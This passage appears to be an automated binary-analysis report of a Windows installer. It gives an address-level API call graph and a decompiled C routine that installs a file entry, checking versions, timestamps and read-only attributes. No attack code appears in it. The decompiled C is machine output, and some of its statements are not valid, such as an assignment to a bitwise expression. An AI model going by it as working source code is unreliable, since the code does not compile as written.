50046->50048 50065 415534 18 API calls 50047->50065 50050 416d80 50048->50050 50051 416d8c SendMessageA 50048->50051 50052 416da6 50050->50052 50053 416d8a CallWindowProcA 50050->50053 50061 416de0 50051->50061 50062 41a270 GetSysColor 50052->50062 50053->50061 50056 416db1 SetTextColor 50057 416dc6 50056->50057 50063 41a270 GetSysColor 50057->50063 50059 416dcb SetBkColor 50064 41a8f8 GetSysColor CreateBrushIndirect 50059->50064 50062->50056 50063->50059 50064->50061 50065->50061 50066 40d03c 50069 406fac WriteFile 50066->50069 50070 406fc9 50069->50070 50071 48b274 50119 40348c 50071->50119 50073 48b282 50122 4057f0 50073->50122 50075 48b287 50125 409b70 50075->50125 50079 48b291 50135 410b6c 50079->50135 50081 48b296 50139 412b40 50081->50139 50083 48b2a0 50144 419258 GetVersion 50083->50144 50395 403444 50119->50395 50121 403491 GetModuleHandleA GetCommandLineA 50121->50073 50124 40582b 50122->50124 50396 403504 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 50122->50396 50124->50075 50397 409248 50125->50397 50130 408904 21 API calls 50131 409b93 50130->50131 50412 409294 GetVersionExA 50131->50412 50134 409d90 6F5FDB20 50134->50079 50136 410b76 50135->50136 50137 410bb5 GetCurrentThreadId 50136->50137 50138 410bd0 50137->50138 50138->50081 50414 40b114 50139->50414 50143 412b6c 50143->50083 50426 41e03c 8 API calls 50144->50426 50146 419271 50428 419150 GetCurrentProcessId 50146->50428 50395->50121 50396->50124 50398 408ea0 19 API calls 50397->50398 50399 409259 50398->50399 50400 4087c0 GetSystemDefaultLCID 50399->50400 50404 4087f6 50400->50404 50401 40874c 19 API calls 50401->50404 50402 403598 18 API calls 50402->50404 50403 406e88 19 API calls 50403->50404 50404->50401 50404->50402 50404->50403 50408 408858 50404->50408 50405 403598 18 API calls 50405->50408 50406 406e88 19 API calls 50406->50408 50407 40874c 19 API calls 50407->50408 50408->50405 50408->50406 50408->50407 50409 4088db 50408->50409 50410 403568 4 API calls 50409->50410 50411 4088f5 50410->50411 50411->50130 50413 4092ab 50412->50413 50413->50134 50416 40b11b 50414->50416 50415 40b13a 50418 411224 50415->50418 50416->50415 50425 40b04c 33 API calls 50416->50425 50419 411246 50418->50419 50420 406e88 19 API calls 50419->50420 50421 403598 18 API calls 50419->50421 50422 411265 50419->50422 50420->50419 50421->50419 50423 403548 4 API calls 50422->50423 50424 41127a 50423->50424 50424->50143 50425->50416 50427 41e0b6 50426->50427 50427->50146 50444 407ad4 50428->50444 50431 407ad4 33 API calls 50432 4191b1 GlobalAddAtomA 50431->50432 50433 4191c9 50432->50433 50434 40b7d0 4 API calls 50433->50434 50435 4191dd 50434->50435 50448 4232e0 50435->50448 50445 407ae7 50444->50445 50446 4077cc 33 API calls 50445->50446 50447 407afb GlobalAddAtomA GetCurrentThreadId 50446->50447 50447->50431 50449 4232ea 50448->50449 50450 410438 19 API calls 50449->50450 50451 423300 50450->50451 50481 423454 LoadCursorA 50451->50481 50453 423307 50454 423331 72E5AC50 EnumFontsA 72E5AD70 72E5B380 50453->50454 50455 4191eb 50454->50455 50456 4238a4 50455->50456 50482 423473 50481->50482 50483 423487 LoadCursorA 50482->50483 50485 4234a4 50482->50485 50486 423548 50483->50486 50485->50453 50487 402650 18 API calls 50486->50487 50488 42355b 50487->50488 50488->50482 51650 48a634 51651 48a63e 51650->51651 51652 42ea38 18 API calls 51651->51652 51653 48a647 51652->51653 51654 42ea38 18 API calls 51653->51654 51655 48a65a 51654->51655 51656 42ea38 18 API calls 51655->51656 51657 48a66d 51656->51657 51658 42ea38 18 API calls 51657->51658 51659 48a680 51658->51659 51660 4244dc 19 API calls 51659->51660 51661 48a690 51660->51661 51683 4890cc 18 API calls 51661->51683 51663 48a695 51684 42c6b8 19 API calls 51663->51684 51665 48a6a7 51666 403598 18 API calls 51665->51666 51667 48a6b4 51666->51667 51668 42ce14 21 API calls 51667->51668 51669 48a6be 51668->51669 51670 48a6e0 51669->51670 51834 488cfc 53 API calls 51669->51834 51672 48a6e9 51670->51672 51673 48a6f0 51670->51673 51836 4894f8 83 API calls 51672->51836 51685 489714 51673->51685 51674 48a6db 51835 408dc4 19 API calls 51674->51835 51678 48a6ee 51837 454ec4 GetWindowLongA 72E69840 SendMessageA 51678->51837 51680 48a713 51681 403548 4 API calls 51680->51681 51682 48a732 51681->51682 51683->51663 51684->51665 51838 403ac8 51685->51838 51687 489737 CreateWindowExA SetWindowLongA 51688 4897ab 51687->51688 51689 48979f 51687->51689 51691 4897e1 51688->51691 51692 4897cb 51688->51692 51693 4897d7 51688->51693 51978 454e80 7 API calls 51689->51978 51694 455814 39 API calls 51691->51694 51979 4555ec 48 API calls 51692->51979 51980 4557b0 40 API calls 51693->51980 51697 489822 51694->51697 51699 4035dc 4 API calls 51697->51699 51698 4897d5 51698->51691 51700 48982f 51699->51700 51701 4036c4 18 API calls 51700->51701 51702 48983d 51701->51702 51703 455814 39 API calls 51702->51703 51704 489845 51703->51704 51705 4035dc 4 API calls 51704->51705 51706 489852 51705->51706 51707 4036c4 18 API calls 51706->51707 51708 489860 51707->51708 51709 455814 39 API calls 51708->51709 51710 489868 51709->51710 51711 489894 51710->51711 51713 4035dc 4 API calls 51710->51713 51712 4035dc 4 API calls 51711->51712 51714 4898a1 51712->51714 51715 48987e 51713->51715 51716 42d2d8 GetCommandLineA 51714->51716 51717 4036c4 18 API calls 51715->51717 51718 4898a9 51716->51718 51719 48988c 51717->51719 51721 4036c4 18 API calls 51718->51721 51720 455814 39 API calls 51719->51720 51720->51711 51722 4898b4 51721->51722 51723 455814 39 API calls 51722->51723 51724 4898bc 51723->51724 51725 4733ec 39 API calls 51724->51725 51726 4898c1 51725->51726 51727 44ff24 36 API calls 51726->51727 51728 4898e7 51727->51728 51729 456e64 4 API calls 51728->51729 51730 489939 51729->51730 51839 45904c 42 API calls 51730->51839 51732 489954 51733 450c5c 18 API calls 51732->51733 51734 489966 51733->51734 51735 403598 18 API calls 51734->51735 51741 489973 51735->51741 51736 4899b0 51737 4899ed 51736->51737 51738 42e20c 33 API calls 51736->51738 51739 44ff24 36 API calls 51737->51739 51742 4899c0 51738->51742 51741->51736 51981 473ae0 53 API calls 51741->51981 51742->51737 51745 4899ab 51982 408dc4 19 API calls 51745->51982 51834->51674 51836->51678 51837->51680 51838->51687 51839->51732 51978->51688 51979->51698 51980->51691 51981->51745 52128 41685c 52129 4168c3 52128->52129 52130 416869 52128->52130 52135 416768 CreateWindowExA 52130->52135 52131 416870 SetPropA SetPropA 52131->52129 52132 4168a3 52131->52132 52133 4168b6 SetWindowPos 52132->52133 52133->52129 52135->52131 52136 42e37f SetErrorMode 52137 4224fc 52138 42250b 52137->52138 52143 42148c 52138->52143 52141 42252b 52144 4214fb 52143->52144 52158 42149b 52143->52158 52147 42150c 52144->52147 52168 4126e8 GetMenuItemCount GetMenuStringA GetMenuState 52144->52168 52146 42153a 52150 4215ad 52146->52150 52155 421555 52146->52155 52147->52146 52149 4215d2 52147->52149 52148 4215ab 52151 4215fe 52148->52151 52170 422044 25 API calls 52148->52170 52149->52148 52154 4215e6 SetMenu 52149->52154 52150->52148 52157 4215c1 52150->52157 52171 4213d4 24 API calls 52151->52171 52154->52148 52155->52148 52161 421578 GetMenu 52155->52161 52156 421605 52156->52141 52166 422400 10 API calls 52156->52166 52160 4215ca SetMenu 52157->52160 52158->52144 52167 408f10 33 API calls 52158->52167 52160->52148 52162 421582 52161->52162 52163 42159b 52161->52163 52165 421595 SetMenu 52162->52165 52169 4126e8 GetMenuItemCount GetMenuStringA GetMenuState 52163->52169 52165->52163 52166->52141 52167->52158 52168->52147 52169->52148 52170->52151 52171->52156
                                                          C-Code - Quality: 92%
                                                          			E00468940(signed int __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int* _a8, signed int _a12, intOrPtr _a16) {
                                                          				signed int _v8;
                                                          				char _v9;
                                                          				intOrPtr _v16;
                                                          				char _v17;
                                                          				intOrPtr _v24;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				char _v44;
                                                          				char _v48;
                                                          				char _v52;
                                                          				char _v53;
                                                          				char _v54;
                                                          				char _v55;
                                                          				char _v56;
                                                          				char _v57;
                                                          				char _v58;
                                                          				char _v64;
                                                          				char _v65;
                                                          				signed short _v70;
                                                          				signed int _v72;
                                                          				signed short _v74;
                                                          				signed int _v76;
                                                          				signed short _v78;
                                                          				signed int _v80;
                                                          				signed short _v82;
                                                          				signed int _v84;
                                                          				char _v85;
                                                          				signed int _v86;
                                                          				char _v87;
                                                          				signed int _v92;
                                                          				struct _FILETIME _v100;
                                                          				struct _FILETIME _v108;
                                                          				intOrPtr _v112;
                                                          				intOrPtr _v116;
                                                          				void _v132;
                                                          				char _v148;
                                                          				signed int _v152;
                                                          				char _v156;
                                                          				char _v160;
                                                          				char _v164;
                                                          				signed int _v168;
                                                          				char _v172;
                                                          				signed int _v176;
                                                          				char _v180;
                                                          				signed int _v184;
                                                          				char _v188;
                                                          				signed int _v192;
                                                          				char _v196;
                                                          				intOrPtr _v200;
                                                          				intOrPtr _v204;
                                                          				intOrPtr _v208;
                                                          				char _v212;
                                                          				char _v216;
                                                          				signed int _t490;
                                                          				char _t505;
                                                          				signed int _t510;
                                                          				intOrPtr _t529;
                                                          				intOrPtr _t535;
                                                          				signed int _t561;
                                                          				signed int _t576;
                                                          				signed int _t629;
                                                          				signed int _t646;
                                                          				signed int _t656;
                                                          				signed int _t666;
                                                          				signed int _t673;
                                                          				signed int _t688;
                                                          				signed int _t693;
                                                          				signed int _t696;
                                                          				signed int _t697;
                                                          				void* _t710;
                                                          				signed int _t722;
                                                          				signed int _t731;
                                                          				void* _t744;
                                                          				signed int _t749;
                                                          				signed int _t750;
                                                          				signed int _t751;
                                                          				signed int _t755;
                                                          				signed int _t765;
                                                          				signed int _t779;
                                                          				FILETIME* _t800;
                                                          				signed int _t802;
                                                          				void* _t805;
                                                          				intOrPtr _t814;
                                                          				intOrPtr _t823;
                                                          				void* _t834;
                                                          				intOrPtr _t863;
                                                          				intOrPtr _t869;
                                                          				intOrPtr _t871;
                                                          				intOrPtr _t873;
                                                          				intOrPtr _t876;
                                                          				intOrPtr _t878;
                                                          				intOrPtr _t879;
                                                          				intOrPtr _t887;
                                                          				intOrPtr _t888;
                                                          				intOrPtr _t899;
                                                          				intOrPtr _t902;
                                                          				intOrPtr _t904;
                                                          				intOrPtr _t907;
                                                          				intOrPtr _t911;
                                                          				intOrPtr _t920;
                                                          				intOrPtr _t923;
                                                          				intOrPtr _t925;
                                                          				intOrPtr _t936;
                                                          				void* _t943;
                                                          				void* _t944;
                                                          				intOrPtr _t945;
                                                          				char _t963;
                                                          
                                                          				_t941 = __esi;
                                                          				_t938 = __edi;
                                                          				_t820 = __ecx;
                                                          				_t943 = _t944;
                                                          				_t945 = _t944 + 0xffffff2c;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v152 = 0;
                                                          				_v196 = 0;
                                                          				_v32 = 0;
                                                          				_v40 = 0;
                                                          				_v44 = 0;
                                                          				_v48 = 0;
                                                          				_v52 = 0;
                                                          				_v64 = 0;
                                                          				_v16 = __ecx;
                                                          				_v9 = __edx;
                                                          				_v8 = __eax;
                                                          				E00403870(_v16);
                                                          				E00403870(_a12);
                                                          				_push(_t943);
                                                          				_push(0x4699d0);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t945;
                                                          				E00455814("-- File entry --", 0, __edi, __esi);
                                                          				_v55 = 0;
                                                          				_v54 = 0;
                                                          				_t818 =  *((intOrPtr*)(_v8 + 0x38));
                                                          				if( *((intOrPtr*)(_v8 + 0x38)) == 0xffffffff) {
                                                          					__eflags = 0;
                                                          					_v36 = 0;
                                                          				} else {
                                                          					_t814 =  *0x4ae1e4; // 0x21c2aec
                                                          					_v36 = E0040B654(_t814, _t818);
                                                          				}
                                                          				E00403548( &_v48);
                                                          				_v56 = 0;
                                                          				_v17 = 0;
                                                          				_v28 =  *0x4adf7c;
                                                          				_v24 =  *0x4adf80;
                                                          				E00403548( &_v32);
                                                          				E00403548( &_v64);
                                                          				_push(_t943);
                                                          				_push(0x469897);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t945;
                                                          				_push(_t943);
                                                          				_push(0x46984e);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t945;
                                                          				_v58 = 0;
                                                          				_v92 = 0;
                                                          				if(_v9 != 0) {
                                                          					_v92 = _v92 | 0x00000800;
                                                          				}
                                                          				if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
                                                          					_v92 = _v92 | 0x00000010;
                                                          				}
                                                          				if(( *(_v8 + 0x4a) & 0x00000020) != 0) {
                                                          					_v92 = _v92 | 0x00000040;
                                                          				}
                                                          				if(( *(_v8 + 0x4b) & 0x00000080) != 0) {
                                                          					_v92 = _v92 | 0x00000080;
                                                          				}
                                                          				if(( *(_v8 + 0x4c) & 0x00000010) != 0) {
                                                          					_v92 = _v92 | 0x00000100;
                                                          				}
                                                          				E00403548( &_v52);
                                                          				_t490 = _v8;
                                                          				_t958 =  *((intOrPtr*)(_t490 + 0x4e)) != 1;
                                                          				if( *((intOrPtr*)(_t490 + 0x4e)) != 1) {
                                                          					__eflags = _a12;
                                                          					if(_a12 != 0) {
                                                          						E004035DC( &_v44, _a12);
                                                          					} else {
                                                          						E004717F8( *((intOrPtr*)(_v8 + 4)), _t820,  &_v44);
                                                          					}
                                                          				} else {
                                                          					_t936 =  *0x4ae048; // 0x2220888
                                                          					E004035DC( &_v44, _t936);
                                                          				}
                                                          				E0042C8F0(_v44,  &_v152);
                                                          				E004035DC( &_v44, _v152);
                                                          				E00466AE0(_v44, _t818, 1, _t938, _t941, _t958);
                                                          				_v160 = _v44;
                                                          				_v156 = 0xb;
                                                          				_t821 = 0;
                                                          				E00455A04("Dest filename: %s", _t818, 0,  &_v160, _t938, _t941);
                                                          				_v86 = 0;
                                                          				if( *0x4ae24f != 0 &&  *0x4ae260 >= 0x5000000) {
                                                          					_t805 = E004532AC(_v9, _t818, _v44, _t938, _t941); // executed
                                                          					if(_t805 != 0) {
                                                          						E00455814("Dest file is protected by Windows File Protection.", _t818, _t938, _t941);
                                                          						_t80 =  &_v86;
                                                          						 *_t80 =  *((char*)(_v8 + 0x4e)) == 0;
                                                          						_t963 =  *_t80;
                                                          					}
                                                          				}
                                                          				_t505 = E00451830(_v9, _v44, _t963); // executed
                                                          				_v53 = _t505;
                                                          				if(_v55 == 0) {
                                                          					_v54 = _v53;
                                                          					_v55 = 1;
                                                          				}
                                                          				if(_v54 != 0) {
                                                          					_v92 = _v92 | 0x00000001;
                                                          				}
                                                          				if(_v36 == 0) {
                                                          					_t821 =  &_v100;
                                                          					_t819 = E004531A8( &_v100, _v16, __eflags);
                                                          				} else {
                                                          					if(( *(_v36 + 0x44) & 0x00000004) == 0) {
                                                          						_t800 = _v36 + 0x34;
                                                          						__eflags = _t800;
                                                          						LocalFileTimeToFileTime(_t800,  &_v100);
                                                          					} else {
                                                          						_t802 = _v36;
                                                          						_v100.dwLowDateTime =  *(_t802 + 0x34);
                                                          						_v100.dwHighDateTime =  *((intOrPtr*)(_t802 + 0x38));
                                                          					}
                                                          					_t819 = 1;
                                                          				}
                                                          				if(_t819 == 0) {
                                                          					E00455814("Time stamp of our file: (failed to read)", _t819, _t938, _t941);
                                                          				} else {
                                                          					E00466E18( &_v100,  &_v152);
                                                          					_v160 = _v152;
                                                          					_v156 = 0xb;
                                                          					_t821 = 0;
                                                          					E00455A04("Time stamp of our file: %s", _t819, 0,  &_v160, _t938, _t941);
                                                          				}
                                                          				if(_v53 == 0) {
                                                          					_t510 = _v8;
                                                          					__eflags =  *(_t510 + 0x4b) & 0x00000020;
                                                          					if(( *(_t510 + 0x4b) & 0x00000020) == 0) {
                                                          						goto L103;
                                                          					} else {
                                                          						__eflags = _v54;
                                                          						if(_v54 != 0) {
                                                          							goto L103;
                                                          						} else {
                                                          							E00455814("Skipping due to \"onlyifdestfileexists\" flag.", _t819, _t938, _t941);
                                                          							goto L121;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					E00455814("Dest file exists.", _t819, _t938, _t941);
                                                          					if(( *(_v8 + 0x4c) & 0x00000001) == 0) {
                                                          						_t899 =  *0x48dc50; // 0x21d99f0
                                                          						E004035DC( &_v32, _t899);
                                                          						_t821 =  &_v108;
                                                          						_v85 = E004531A8( &_v108, _v44, __eflags);
                                                          						__eflags = _v85;
                                                          						if(_v85 == 0) {
                                                          							E00455814("Time stamp of existing file: (failed to read)", _t819, _t938, _t941);
                                                          						} else {
                                                          							E00466E18( &_v108,  &_v152);
                                                          							_v160 = _v152;
                                                          							_v156 = 0xb;
                                                          							_t821 = 0;
                                                          							E00455A04("Time stamp of existing file: %s", _t819, 0,  &_v160, _t938, _t941);
                                                          						}
                                                          						_t656 = _v8;
                                                          						__eflags =  *(_t656 + 0x4c) & 0x00000002;
                                                          						if(( *(_t656 + 0x4c) & 0x00000002) != 0) {
                                                          							_v87 = 1;
                                                          							goto L74;
                                                          						} else {
                                                          							_v87 = 0;
                                                          							__eflags = _v36;
                                                          							if(_v36 == 0) {
                                                          								E0042C8F0(_v16,  &_v152);
                                                          								_v65 = E0045164C(_v9,  &_v76, _v152, __eflags);
                                                          							} else {
                                                          								_t779 = _v36;
                                                          								__eflags =  *(_t779 + 0x44) & 0x00000001;
                                                          								_v65 = _t779 & 0xffffff00 | ( *(_t779 + 0x44) & 0x00000001) != 0x00000000;
                                                          								_v76 =  *(_v36 + 0x3c);
                                                          								_v72 =  *(_v36 + 0x40);
                                                          							}
                                                          							__eflags = _v65;
                                                          							if(_v65 == 0) {
                                                          								E00455814("Version of our file: (none)", _t819, _t938, _t941);
                                                          							} else {
                                                          								_v192 = _v74 & 0x0000ffff;
                                                          								_v188 = 0;
                                                          								_v184 = _v76 & 0x0000ffff;
                                                          								_v180 = 0;
                                                          								_v176 = _v70 & 0x0000ffff;
                                                          								_v172 = 0;
                                                          								_v168 = _v72 & 0x0000ffff;
                                                          								_v164 = 0;
                                                          								E00455A04("Version of our file: %u.%u.%u.%u", _t819, 3,  &_v192, _t938, _t941);
                                                          							}
                                                          							E0042C8F0(_v44,  &_v152);
                                                          							_t821 =  &_v84;
                                                          							_t722 = E0045164C(_v9,  &_v84, _v152, __eflags);
                                                          							__eflags = _t722;
                                                          							if(_t722 == 0) {
                                                          								E00455814("Version of existing file: (none)", _t819, _t938, _t941);
                                                          								__eflags = _v65;
                                                          								if(_v65 == 0) {
                                                          									_v87 = 1;
                                                          								}
                                                          								goto L74;
                                                          							} else {
                                                          								_v192 = _v82 & 0x0000ffff;
                                                          								_v188 = 0;
                                                          								_v184 = _v84 & 0x0000ffff;
                                                          								_v180 = 0;
                                                          								_v176 = _v78 & 0x0000ffff;
                                                          								_v172 = 0;
                                                          								_v168 = _v80 & 0x0000ffff;
                                                          								_v164 = 0;
                                                          								_t821 = 3;
                                                          								E00455A04("Version of existing file: %u.%u.%u.%u", _t819, 3,  &_v192, _t938, _t941);
                                                          								__eflags = _v65;
                                                          								if(_v65 == 0) {
                                                          									L53:
                                                          									_t731 = _v8;
                                                          									 *(_t731 + 0x4c) & 0x00000004 = (_t731 & 0xffffff00 | ( *(_t731 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
                                                          									if(((_t731 & 0xffffff00 | ( *(_t731 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
                                                          										L55:
                                                          										E00455814("Existing file is a newer version. Skipping.", _t819, _t938, _t941);
                                                          										goto L121;
                                                          									} else {
                                                          										E004035DC( &_v152, _v44);
                                                          										E004036C4( &_v152, 0x469be4);
                                                          										_t920 =  *0x48dc88; // 0x21d9d34
                                                          										E004036C4( &_v152, _t920);
                                                          										_t821 = 2;
                                                          										_t744 = E00473BCC(_v152, _t819, 2, 0, _t938, _t941, 6, 1, 4);
                                                          										__eflags = _t744 - 7;
                                                          										if(_t744 == 7) {
                                                          											goto L74;
                                                          										} else {
                                                          											goto L55;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									__eflags = _v84 - _v76;
                                                          									if(_v84 > _v76) {
                                                          										goto L53;
                                                          									} else {
                                                          										__eflags = _v84 - _v76;
                                                          										if(_v84 != _v76) {
                                                          											L56:
                                                          											__eflags = _v84 - _v76;
                                                          											if(_v84 != _v76) {
                                                          												L74:
                                                          												__eflags = _v87;
                                                          												if(_v87 == 0) {
                                                          													L85:
                                                          													E00403548( &_v32);
                                                          													__eflags = _v86;
                                                          													if(_v86 == 0) {
                                                          														__eflags =  *(_v8 + 0x4a) & 0x00000001;
                                                          														if(__eflags == 0) {
                                                          															goto L90;
                                                          														} else {
                                                          															E004035DC( &_v152, _v44);
                                                          															E004036C4( &_v152, 0x469be4);
                                                          															_t907 =  *0x48dca0; // 0x21da048
                                                          															E004036C4( &_v152, _t907);
                                                          															_t821 = 1;
                                                          															__eflags = E00473BCC(_v152, _t819, 1, 0, _t938, _t941, 7, 1, 4) - 6;
                                                          															if(__eflags == 0) {
                                                          																while(1) {
                                                          																	L90:
                                                          																	_t819 = E004515D4(_v9, _v44, __eflags);
                                                          																	__eflags = _t819 - 0xffffffff;
                                                          																	if(_t819 == 0xffffffff) {
                                                          																		break;
                                                          																	}
                                                          																	__eflags = _t819 & 0x00000001;
                                                          																	if((_t819 & 0x00000001) == 0) {
                                                          																		break;
                                                          																	} else {
                                                          																		__eflags =  *(_v8 + 0x4b) & 0x00000004;
                                                          																		if(__eflags != 0) {
                                                          																			L95:
                                                          																			_t902 =  *0x48dc24; // 0x21d97a4
                                                          																			E004035DC( &_v32, _t902);
                                                          																			_t821 = _t819 & 0xfffffffe;
                                                          																			_t666 = E00451918(_v9, _t819 & 0xfffffffe, _v44, __eflags);
                                                          																			__eflags = _t666;
                                                          																			if(_t666 == 0) {
                                                          																				E00455814("Failed to strip read-only attribute.", _t819, _t938, _t941);
                                                          																			} else {
                                                          																				E00455814("Stripped read-only attribute.", _t819, _t938, _t941);
                                                          																			}
                                                          																			__eflags =  *(_v8 + 0x4b) & 0x00000004;
                                                          																			if(__eflags != 0) {
                                                          																				break;
                                                          																			} else {
                                                          																				continue;
                                                          																			}
                                                          																		} else {
                                                          																			_t904 =  *0x48dc8c; // 0x21d9de4
                                                          																			_t673 = E00466D28(_v44, _t819, _t821, _t904, _t938, _t941, __eflags);
                                                          																			__eflags = _t673;
                                                          																			if(_t673 == 0) {
                                                          																				goto L95;
                                                          																			} else {
                                                          																				E00455814("User opted not to strip the existing file\'s read-only attribute. Skipping.", _t819, _t938, _t941);
                                                          																				goto L121;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																	goto L148;
                                                          																}
                                                          																L103:
                                                          																E00455814("Installing the file.", _t819, _t938, _t941);
                                                          																E004035DC( &_v40, _v16);
                                                          																__eflags = _v9 -  *0x4ae259; // 0x0
                                                          																if(__eflags != 0) {
                                                          																	_v57 = 0;
                                                          																} else {
                                                          																	__eflags = _v40;
                                                          																	if(_v40 == 0) {
                                                          																		_t821 =  &_v152;
                                                          																		_t819 =  *_a8;
                                                          																		 *((intOrPtr*)( *_a8 + 0xc))();
                                                          																		__eflags = _v152;
                                                          																		if(__eflags != 0) {
                                                          																			_t821 =  &_v196;
                                                          																			_t819 =  *_a8;
                                                          																			 *((intOrPtr*)( *_a8 + 0xc))();
                                                          																			_t576 = E00451830(_v9, _v196, __eflags);
                                                          																			__eflags = _t576;
                                                          																			if(_t576 != 0) {
                                                          																				_t821 =  &_v40;
                                                          																				_t819 =  *_a8;
                                                          																				 *((intOrPtr*)( *_a8 + 0xc))();
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																	__eflags = _v40;
                                                          																	_v57 = _v40 == 0;
                                                          																}
                                                          																_t863 =  *0x48dc30; // 0x21d9878
                                                          																E004035DC( &_v32, _t863);
                                                          																E0042CA40(_v44, _t821,  &_v152);
                                                          																E00451EA4(_v9, _t819, 0x469f50, _v152, _t938, _t941,  &_v48); // executed
                                                          																E0042C990(_v48, 0x469f50,  &_v152);
                                                          																_t823 =  *0x469f58; // 0x0
                                                          																E00467F84(_v9, _t819, _t823, _v152, _t938, _t941, __eflags, _a16); // executed
                                                          																_t529 = E00451994(_v9, _t819, 0, _v48, _t941, __eflags, 0, 1); // executed
                                                          																_v112 = _t529;
                                                          																_push(_t943);
                                                          																_push(0x46938a);
                                                          																_push( *[fs:eax]);
                                                          																 *[fs:eax] = _t945;
                                                          																_v56 = 1;
                                                          																_push(_t943);
                                                          																_push(0x46931a);
                                                          																_push( *[fs:eax]);
                                                          																 *[fs:eax] = _t945;
                                                          																_v17 = 1;
                                                          																_t869 =  *0x48dc54; // 0x21d9a38
                                                          																E004035DC( &_v32, _t869);
                                                          																__eflags = _v40;
                                                          																if(__eflags != 0) {
                                                          																	_t535 = E00451994(_v9, _t819, 2, _v40, _t941, __eflags, 1, 0); // executed
                                                          																	_v116 = _t535;
                                                          																	_push(_t943);
                                                          																	_push(0x469309);
                                                          																	_push( *[fs:eax]);
                                                          																	 *[fs:eax] = _t945;
                                                          																	_t871 =  *0x48dc28; // 0x21d9800
                                                          																	E004035DC( &_v32, _t871);
                                                          																	__eflags = _v36;
                                                          																	if(_v36 == 0) {
                                                          																		E00466F5C(_v116, _a4, _v112);
                                                          																	} else {
                                                          																		_t353 = _v36 + 0x14; // 0x14
                                                          																		E00466F5C(_v116, _t353, _v112);
                                                          																	}
                                                          																	__eflags = 0;
                                                          																	_pop(_t873);
                                                          																	 *[fs:eax] = _t873;
                                                          																	_push(0x469310);
                                                          																	return E00402CA0(_v116);
                                                          																} else {
                                                          																	E004666D8(E0046608C(), 0x466d1c, _v36, _t938); // executed
                                                          																	_t876 =  *0x48dc28; // 0x21d9800
                                                          																	E004035DC( &_v32, _t876);
                                                          																	__eflags =  *(_v8 + 0x4c) & 0x00000080;
                                                          																	E004668FC(E0046608C(), _t819, _v112, _v36, _t938, _t941, (_v8 & 0xffffff00 | __eflags != 0x00000000) ^ 0x00000001, 0x466d1c); // executed
                                                          																	_pop(_t878);
                                                          																	_pop(_t834);
                                                          																	 *[fs:eax] = _t878;
                                                          																	SetFileTime( *(_v112 + 4), 0, 0,  &_v100); // executed
                                                          																	_t561 = _v8;
                                                          																	__eflags =  *((char*)(_t561 + 0x4e)) - 1;
                                                          																	if( *((char*)(_t561 + 0x4e)) == 1) {
                                                          																		_v57 = 0;
                                                          																		E0046846C(_v112, 0x6e556e49); // executed
                                                          																		__eflags =  *0x4adfd1;
                                                          																		if( *0x4adfd1 == 0) {
                                                          																			E00468498(_v112, _t834); // executed
                                                          																		}
                                                          																	}
                                                          																	__eflags = 0;
                                                          																	_pop(_t879);
                                                          																	 *[fs:eax] = _t879;
                                                          																	_push(0x469391);
                                                          																	return E00402CA0(_v112);
                                                          																}
                                                          															} else {
                                                          																E00455814("User opted not to overwrite the existing file. Skipping.", _t819, _t938, _t941);
                                                          																goto L121;
                                                          															}
                                                          														}
                                                          													} else {
                                                          														E00455814("Existing file is protected by Windows File Protection. Skipping.", _t819, _t938, _t941);
                                                          														goto L121;
                                                          													}
                                                          												} else {
                                                          													_t688 = _v8;
                                                          													__eflags =  *(_t688 + 0x4a) & 0x00000080;
                                                          													if(( *(_t688 + 0x4a) & 0x00000080) == 0) {
                                                          														goto L85;
                                                          													} else {
                                                          														__eflags = _t819;
                                                          														if(_t819 == 0) {
                                                          															L78:
                                                          															E00455814("Couldn\'t read time stamp. Skipping.", _t819, _t938, _t941);
                                                          															goto L121;
                                                          														} else {
                                                          															__eflags = _v85;
                                                          															if(_v85 != 0) {
                                                          																_t693 = CompareFileTime( &_v108,  &_v100);
                                                          																__eflags = _t693;
                                                          																if(_t693 != 0) {
                                                          																	_t696 = CompareFileTime( &_v108,  &_v100);
                                                          																	__eflags = _t696;
                                                          																	if(_t696 <= 0) {
                                                          																		goto L85;
                                                          																	} else {
                                                          																		_t697 = _v8;
                                                          																		 *(_t697 + 0x4c) & 0x00000004 = (_t697 & 0xffffff00 | ( *(_t697 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
                                                          																		if(((_t697 & 0xffffff00 | ( *(_t697 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
                                                          																			L84:
                                                          																			E00455814("Existing file has a later time stamp. Skipping.", _t819, _t938, _t941);
                                                          																			goto L121;
                                                          																		} else {
                                                          																			E004035DC( &_v152, _v44);
                                                          																			E004036C4( &_v152, 0x469be4);
                                                          																			_t911 =  *0x48dc88; // 0x21d9d34
                                                          																			E004036C4( &_v152, _t911);
                                                          																			_t821 = 2;
                                                          																			_t710 = E00473BCC(_v152, _t819, 2, 0, _t938, _t941, 6, 1, 4);
                                                          																			__eflags = _t710 - 7;
                                                          																			if(_t710 == 7) {
                                                          																				goto L85;
                                                          																			} else {
                                                          																				goto L84;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	E00455814("Same time stamp. Skipping.", _t819, _t938, _t941);
                                                          																	goto L121;
                                                          																}
                                                          															} else {
                                                          																goto L78;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												__eflags = _v80 - _v72;
                                                          												if(_v80 != _v72) {
                                                          													goto L74;
                                                          												} else {
                                                          													_t749 = _v8;
                                                          													__eflags =  *(_t749 + 0x4b) & 0x00000008;
                                                          													if(( *(_t749 + 0x4b) & 0x00000008) != 0) {
                                                          														goto L74;
                                                          													} else {
                                                          														_t750 = _v8;
